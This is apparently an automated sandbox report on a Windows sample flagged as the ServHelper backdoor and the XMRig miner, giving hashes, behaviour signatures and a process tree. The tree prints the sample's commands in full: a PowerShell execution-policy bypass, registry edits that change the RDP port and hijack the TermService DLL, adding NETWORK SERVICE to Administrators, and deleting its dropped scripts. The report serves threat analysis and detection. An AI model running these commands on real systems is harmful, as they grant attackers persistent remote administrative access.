Analysis

  • max time kernel
    84s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    14-09-2021 13:23

General

  • Target

    608b93e344bd3dbb09d0af9da6856061.exe

  • Size

    4.0MB

  • MD5

    608b93e344bd3dbb09d0af9da6856061

  • SHA1

    b7c8bd7bace350d3c9c054ebb58f25535d22ee95

  • SHA256

    5d45cef43fb4c150c33337fb369a89800f9d235eee1dbdac13a8f6fd13bc1ee4

  • SHA512

    6e47bb4688737505af62a8c67cea4143185dc047340d8943d412b5274b229bd24628a31576a3250cdfb69b0b4fcfd74140fe83355f49527e7cf9f465c30ac131

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\608b93e344bd3dbb09d0af9da6856061.exe
    "C:\Users\Admin\AppData\Local\Temp\608b93e344bd3dbb09d0af9da6856061.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3644
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pgf2ogpo\pgf2ogpo.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3780
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES555.tmp" "c:\Users\Admin\AppData\Local\Temp\pgf2ogpo\CSC7C53E3D0A2E74C089B16F1D5B1486D26.TMP"
          4⤵
            PID:1644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3880
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2004
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:496
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2312
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3904
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2552
            • C:\Windows\SysWOW64\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1908
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3652
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2496
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2620
                  • C:\Windows\SysWOW64\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3880
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2892
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3120
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4024
                    • C:\Windows\SysWOW64\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4028
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3328
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:1688
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:1828

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/496-697-0x00000000070D2000-0x00000000070D3000-memory.dmp

                    Filesize

                    4KB

                  • memory/496-792-0x000000007ECE0000-0x000000007ECE1000-memory.dmp

                    Filesize

                    4KB

                  • memory/496-696-0x00000000070D0000-0x00000000070D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1612-120-0x0000000001672000-0x0000000001673000-memory.dmp

                    Filesize

                    4KB

                  • memory/1612-124-0x00000000082F0000-0x00000000082F1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1612-123-0x0000000005FE0000-0x0000000005FE1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1612-115-0x0000000001670000-0x0000000001671000-memory.dmp

                    Filesize

                    4KB

                  • memory/1612-122-0x0000000001674000-0x0000000001675000-memory.dmp

                    Filesize

                    4KB

                  • memory/1612-121-0x0000000001673000-0x0000000001674000-memory.dmp

                    Filesize

                    4KB

                  • memory/1612-119-0x0000000005E80000-0x0000000005E81000-memory.dmp

                    Filesize

                    4KB

                  • memory/1612-118-0x00000000061E0000-0x00000000061E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1612-116-0x00000000058E0000-0x0000000005CDF000-memory.dmp

                    Filesize

                    4.0MB

                  • memory/2004-536-0x000000007E210000-0x000000007E211000-memory.dmp

                    Filesize

                    4KB

                  • memory/2004-441-0x0000000004DB2000-0x0000000004DB3000-memory.dmp

                    Filesize

                    4KB

                  • memory/2004-439-0x0000000004DB0000-0x0000000004DB1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-136-0x0000000004870000-0x0000000004871000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-131-0x00000000075A0000-0x00000000075A1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-1058-0x000000007F070000-0x000000007F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-128-0x0000000004410000-0x0000000004411000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-129-0x0000000006F70000-0x0000000006F71000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-130-0x0000000006E90000-0x0000000006E91000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-133-0x0000000007910000-0x0000000007911000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-134-0x0000000007650000-0x0000000007651000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-135-0x0000000008000000-0x0000000008001000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-137-0x0000000004872000-0x0000000004873000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-176-0x0000000009060000-0x0000000009061000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-155-0x0000000004873000-0x0000000004874000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-153-0x0000000008D00000-0x0000000008D01000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-138-0x0000000007EF0000-0x0000000007EF1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-145-0x0000000008C60000-0x0000000008C61000-memory.dmp

                    Filesize

                    4KB

                  • memory/3644-144-0x0000000009600000-0x0000000009601000-memory.dmp

                    Filesize

                    4KB

                  • memory/3880-198-0x0000000009240000-0x0000000009273000-memory.dmp

                    Filesize

                    204KB

                  • memory/3880-406-0x00000000094C0000-0x00000000094C1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3880-187-0x0000000007502000-0x0000000007503000-memory.dmp

                    Filesize

                    4KB

                  • memory/3880-412-0x00000000094B0000-0x00000000094B1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3880-206-0x0000000009220000-0x0000000009221000-memory.dmp

                    Filesize

                    4KB

                  • memory/3880-186-0x0000000007500000-0x0000000007501000-memory.dmp

                    Filesize

                    4KB

                  • memory/3880-211-0x0000000009370000-0x0000000009371000-memory.dmp

                    Filesize

                    4KB

                  • memory/3880-212-0x000000007E590000-0x000000007E591000-memory.dmp

                    Filesize

                    4KB

                  • memory/3880-213-0x0000000009520000-0x0000000009521000-memory.dmp

                    Filesize

                    4KB